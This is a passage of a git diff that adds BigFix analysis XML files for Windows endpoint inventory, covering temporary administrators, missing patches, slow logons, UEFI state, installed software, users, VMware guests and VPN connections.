+    <Property ID="3" Name="MS Office Logs" EvaluationPeriod="PT12H">pathnames of descendants whose(name of it as lowercase ends with &quot;.txt&quot; AND name of it as lowercase starts with &quot;microsoft office setup&quot;) of (folders &quot;Temp&quot; of windows folder ; folders &quot;C:\temp&quot; ; folders &quot;C:\ProgramData\TEMP&quot; ; folders &quot;AppData\Local\Temp&quot; of folders whose(exists folder &quot;AppData\Local\Temp&quot; of it) of folders &quot;C:\Users&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Temporary Administrators - Windows (2998399).bes b/Sites/Windows Management/Fixlets/Analyses/Temporary Administrators - Windows (2998399).bes
new file mode 100644
index 000000000..bc7ad1d22
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Temporary Administrators - Windows (2998399).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Temporary Administrators - Windows
+  ID       : 2998399
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:22:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Temporary Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Analysis provides information from the Temporary Admins fixlets in the C3-Inventory Site.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights&quot; of x32 registry</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Administrators - Current Temporary Administrators - Windows" EvaluationPeriod="PT1H">(value &quot;Username&quot; of it, value &quot;Start&quot; of it, value &quot;Expiration&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current&quot; of x32 registry</Property>
+    <Property ID="2" Name="Administrators - Expired Temporary Administrators - Windows" EvaluationPeriod="P1D">(value &quot;Username&quot; of it, value &quot;Start&quot; of it, value &quot;Expiration&quot; of it, value &quot;Revoked&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Expired&quot; of x32 registry</Property>
+    <Property ID="3" Name="Administrators - Current Authorized Requestors - Windows" EvaluationPeriod="PT1H">(value &quot;Username&quot; of it, value &quot;Start&quot; of it, value &quot;Expiration&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current&quot; of x32 registry</Property>
+    <Property ID="4" Name="Administrators - Expired Authorized Requestors - Windows" EvaluationPeriod="P1D">(value &quot;Username&quot; of it, value &quot;Start&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Expired&quot; of x32 registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Missing Patches - Windows (2998276).bes b/Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Missing Patches - Windows (2998276).bes
new file mode 100644
index 000000000..f75517a8e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Missing Patches - Windows (2998276).bes	
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Troubleshooting - Missing Patches - Windows
+  ID       : 2998276
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T17:56:04
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Troubleshooting - Missing Patches - Windows</Title>
+    <Description><![CDATA[This analysis provides a count of missing patches from the Endpoint's perspective to allow capturing of this data without session relevance queries.
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="2" Name="Patches - Missing OS Security Patches Count - Windows" EvaluationPeriod="P1D">number of (concatenation &quot;&quot; of matches (regex &quot;[a-z]&quot;) of (values of headers &quot;X-Fixlet-Source-Severity&quot; of it as lowercase)) whose (it = &quot;critical&quot; or it = &quot;important&quot; or it = &quot;moderate&quot;) of relevant fixlets whose (not exists (headers &quot;X-Fixlet-Type&quot; of it) whose (value of it is contained by set of (&quot;Task&quot;;&quot;Analysis&quot;;&quot;Baseline&quot;)) and exists headers &quot;X-Fixlet-Default-Action&quot; of it) of sites whose (name of it is contained by set of (&quot;Enterprise Security&quot;))</Property>
+    <Property ID="3" Name="Patches - Missing App Security Patches Count - Windows" EvaluationPeriod="P1D">number of (concatenation &quot;&quot; of matches (regex &quot;[a-z]&quot;) of (values of headers &quot;X-Fixlet-Source-Severity&quot; of it as lowercase)) whose (it = &quot;critical&quot; or it = &quot;important&quot; or it = &quot;moderate&quot;) of relevant fixlets whose (not exists (headers &quot;X-Fixlet-Type&quot; of it) whose (value of it is contained by set of (&quot;Task&quot;;&quot;Analysis&quot;;&quot;Baseline&quot;)) and exists headers &quot;X-Fixlet-Default-Action&quot; of it) of sites whose (name of it is contained by set of (&quot;Updates for Windows Applications&quot;))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Slow Boot Slow Logon - Windows (2998474).bes b/Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Slow Boot Slow Logon - Windows (2998474).bes
new file mode 100644
index 000000000..cec89b144
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Troubleshooting - Slow Boot Slow Logon - Windows (2998474).bes	
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Troubleshooting - Slow Boot Slow Logon - Windows
+  ID       : 2998474
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-10-26T07:41:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Troubleshooting - Slow Boot Slow Logon - Windows</Title>
+    <Description><![CDATA[<P>Provides information useful for troubleshooting slow boots and slow logons.</P>
+<P>The WMI Analysis may also prove useful: WMI - Windows</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="4" Name="Troubleshooting - Slow Logins - Windows" EvaluationPeriod="P1D">(time generated of it, description of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 500;item 1 of it))) of (record count of it, oldest record number of it)) whose ((event id of it = 6006 or event id of it = 2147489654) and description of it contains &quot;Logon&quot;) of event log &quot;Application&quot;  </Property>
+    <Property ID="5" Name="Troubleshooting - Last Performance Diagnostic - Windows" EvaluationPeriod="P1D">(concatenations &quot;&quot; of substrings separated by &quot;%09&quot; of (it as trimmed string)) of substrings separated by &quot;%0d%0a&quot; of description of record (oldest record number of it + record count of it - 1) of event log &quot;Microsoft-Windows-Diagnostics-Performance/Operational&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/UEFI - Windows (2998369).bes b/Sites/Windows Management/Fixlets/Analyses/UEFI - Windows (2998369).bes
new file mode 100644
index 000000000..3db50096d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/UEFI - Windows (2998369).bes	
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : UEFI - Windows
+  ID       : 2998369
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-08-25T11:44:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>UEFI - Windows</Title>
+    <Description><![CDATA[<P>UEFI status on Windows using the setupact log and SecureBoot using system registry</P>
+<P>Credit, kudos, and thanks to jgstew: <A href="https://bigfix.me/relevance/details/3007539">https://bigfix.me/relevance/details/3007539</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="UEFI - State - Windows" EvaluationPeriod="P1D">if (exists Selects &quot;* from Win32_DiskPartition Where Type = &apos;GPT: System&apos;&quot; of wmi) then &quot;UEFI&quot; else &quot;BIOS&quot;</Property>
+    <Property ID="2" Name="SecureBoot - State - Windows" EvaluationPeriod="P1D">if (exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecureBoot\State&quot; of native registry and value &quot;UEFISecureBootEnabled&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecureBoot\State&quot; of native registry = 1)  then &quot;Enabled&quot; else &quot;Disabled&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Uninstall Analysis (54).bes b/Sites/Windows Management/Fixlets/Analyses/Uninstall Analysis (54).bes
new file mode 100644
index 000000000..8e3ece0b8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Uninstall Analysis (54).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Uninstall Analysis
+  ID       : 54
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-12-04T10:51:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Uninstall Analysis</Title>
+    <Description>Pulls back Registry Keys and Display Names for windows installed software </Description>
+    <Relevance>true</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 04 Dec 2012 16:37:14 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="QuietUninstallString" EvaluationPeriod="PT1H">(values &quot;DisplayName&quot; of it, values &quot;DisplayVersion&quot; of it, values &quot;UninstallString&quot; of it, values &quot;QuietUninstallString&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry</Property>
+    <Property ID="2" Name="UninstallString" EvaluationPeriod="PT1H">(values &quot;DisplayName&quot; of it, values &quot;DisplayVersion&quot; of it, values &quot;UninstallString&quot; of it) of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Users - Windows (2998571).bes b/Sites/Windows Management/Fixlets/Analyses/Users - Windows (2998571).bes
new file mode 100644
index 000000000..bf922d234
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Users - Windows (2998571).bes	
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Users - Windows
+  ID       : 2998571
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-06-06T09:51:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Users - Windows</Title>
+    <Description><![CDATA[<P>This Analysis provides Windows-specific user information for the currently active user&nbsp;including:</P>
+<UL>
+<LI>Drive Mappings for the currently active user
+<LI>Administrator status of currently active user</LI></UL>
+<P>This Analysis also provides the following general information for users of the system:&nbsp;</P>
+<UL>
+<LI>The previously logged on user for the system
+<LI>The last logon timestamp for each previous user of the system</LI></UL>
+<P><STRONG>Note</STRONG>: OS Upgrades may reset last logon timestamp to the date of the upgrade.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Users - Last Logged on - Windows" EvaluationPeriod="P1D">(sid (it) as string | it ) of (string values whose (set of (&quot;S-1-5-20&quot;;&quot;S-1-5-19&quot;;&quot;S-1-5-18&quot;) does not contain it) of properties &quot;sid&quot; of items 0 of (it whose (preceding text of first &quot;.&quot; of string value of property &quot;LastUseTime&quot; of item 0 of it as integer = item 1 of it) of (select objects &quot;* from Win32_UserProfile&quot; of wmi, it) of (maximum of (preceding text of first &quot;.&quot; of string value of property &quot;LastUseTime&quot; of it as integer) of select objects &quot;* from Win32_UserProfile&quot; of wmi)))</Property>
+    <Property ID="9" Name="Current User - Drive Mappings - Windows" EvaluationPeriod="P1D">(concatenations &quot;\&quot; of substrings separated by &quot;#&quot; of name of it) of keys whose (name of it contains &quot;#&quot;) of keys &quot;Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2&quot; of (current user keys (logged on users) of registry)</Property>
+    <Property ID="10" Name="Users - Last Logon Time - Windows" EvaluationPeriod="PT12H">(sid (string value of property &quot;sid&quot; of it) as string | string value of property &quot;sid&quot; of it, time value of property &quot;LastUseTime&quot; of it) of (select objects &quot;* from Win32_UserProfile&quot; of wmi) whose (set of (&quot;S-1-5-20&quot;;&quot;S-1-5-19&quot;;&quot;S-1-5-18&quot;) does not contain string value of property &quot;sid&quot; of it)</Property>
+    <Property ID="11" Name="Current User - Administrator - Windows" EvaluationPeriod="P1D">exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */ set of ( /* User&apos;s SID and Group Memberships */ ((sids of groups of logged on user of active directory) as string); /*User Group Memberships */ (sid of logged on user) as string /*Users SID*/ );( set of (/*Users and Groups in Administrators */ sids of members of local group &quot;administrators&quot; as string) ) )</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/VMWare Guest - Windows (2998379).bes b/Sites/Windows Management/Fixlets/Analyses/VMWare Guest - Windows (2998379).bes
new file mode 100644
index 000000000..d169935bc
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/VMWare Guest - Windows (2998379).bes	
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : VMWare Guest - Windows
+  ID       : 2998379
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-08-30T19:58:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>VMWare Guest - Windows</Title>
+    <Description><![CDATA[This analysis provides VM Guest where available.
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>((value &quot;manufacturer&quot; of structure &quot;system_information&quot; of smbios as string) contains &quot;VMware&quot;)</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="VMWare Guest - ID - Universal" EvaluationPeriod="P1D">if ((value &quot;manufacturer&quot; of structure &quot;system_information&quot; of smbios as string) contains &quot;VMware&quot;) then ((if exists property &quot;hexadecimal&quot; then hexadecimal of it else it as string as hexadecimal) of (value &quot;uuid&quot; of structure &quot;system_information&quot; of smbios)) else &quot;N/A&quot;</Property>
+    <Property ID="2" Name="VMWare Tools - Drivers - Windows" EvaluationPeriod="P1D">if (windows of operating system) then ((name of it, substrings between &quot;|&quot; of (it as string)) of values of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\VMWare, Inc.\VMware Drivers&quot; of native registry) else (error &quot;not applicable&quot;)</Property>
+    <Property ID="3" Name="VMWare Tools - Version - Windows" EvaluationPeriod="P1D">if (windows of operating system) then ( valueS &quot;DisplayVersion&quot; of keys whose (value &quot;DisplayName&quot; of it = &quot;VMware Tools&quot;)of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry) else (error &quot;not applicable&quot;)</Property>
+    <Property ID="4" Name="VMWare Tools - State - Windows" EvaluationPeriod="PT1H">if (windows of operating system) then (state of service &quot;VMTools&quot; | &quot;Not Installed&quot;) else (error &quot;not applicable&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/VPN - Windows (2998351).bes b/Sites/Windows Management/Fixlets/Analyses/VPN - Windows (2998351).bes
new file mode 100644
index 000000000..240038060
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/VPN - Windows (2998351).bes	
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : VPN - Windows
+  ID       : 2998351
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-08-16T11:47:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>VPN - Windows</Title>
+    <Description><![CDATA[<P>Provides information on the current VPN configuration in Windows.</P>
+<P>Special thanks to Jason Walker for helping with the Windows VPN file parsing.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(exists file &quot;rasphone.pbk&quot; of folder &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)) or (exists file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;))</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="VPN - PPTP Connections (All Users) - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (PPTP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;)</Property>
+    <Property ID="2" Name="VPN - IPSec Connections (All Users) - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (IPSec)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;)</Property>
+    <Property ID="3" Name="VPN - SSTP Connections (All Users) - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (SSTP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;)</Property>
+    <Property ID="4" Name="VPN - L2TP Connections (All Users) - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (L2TP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;)</Property>
+    <Property ID="5" Name="VPN - IKEv2 Connections (All Users) - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (IKEv2)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;)</Property>
+    <Property ID="7" Name="VPN - PPTP Connections (Current User) - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (PPTP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folders &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)</Property>
+    <Property ID="8" Name="VPN - IPSec Connections (Current User) - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (IPSec)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folders &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)</Property>
+    <Property ID="9" Name="VPN - SSTP Connections (Current User) - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (SSTP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folders &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)</Property>
+    <Property ID="10" Name="VPN - L2TP Connections (Current User) - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (L2TP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folders &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)</Property>
+    <Property ID="11" Name="VPN - IKEv2 Connections (Current User) - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (IKEv2)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folders &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Values(BIOS & More) of wmi _root_dcim_sysman_ - Windows (Dell Command Monitor _ OMCI & others) (2994763).bes b/Sites/Windows Management/Fixlets/Analyses/Values(BIOS & More) of wmi _root_dcim_sysman_ - Windows (Dell Command Monitor _ OMCI & others) (2994763).bes
new file mode 100644
index 000000000..0c1b34c9a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Values(BIOS & More) of wmi _root_dcim_sysman_ - Windows (Dell Command Monitor _ OMCI & others) (2994763).bes	
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Values(BIOS & More) of wmi "root\dcim\sysman" - Windows (Dell Command Monitor / OMCI & others)
+  ID       : 2994763
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-02-06T14:40:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Values(BIOS &amp; More) of wmi &quot;root\dcim\sysman&quot; - Windows (Dell Command Monitor / OMCI &amp; others)</Title>
+    <Description><![CDATA[<P>Written against the <FONT size=2>Dell Command | Monitor Version 9.0 Reference Guide.</FONT></P>
+<P><FONT size=2>The information in wmi root\dcim\sysman is part of a standard, so this analysis should work for more than just Dell systems as long as the non-Dell systems have similar functionality and reporting mechanisms installed.</FONT></P>
+<P><FONT size=2>&nbsp;</P></FONT>
+<P><STRONG>References:</STRONG></P>
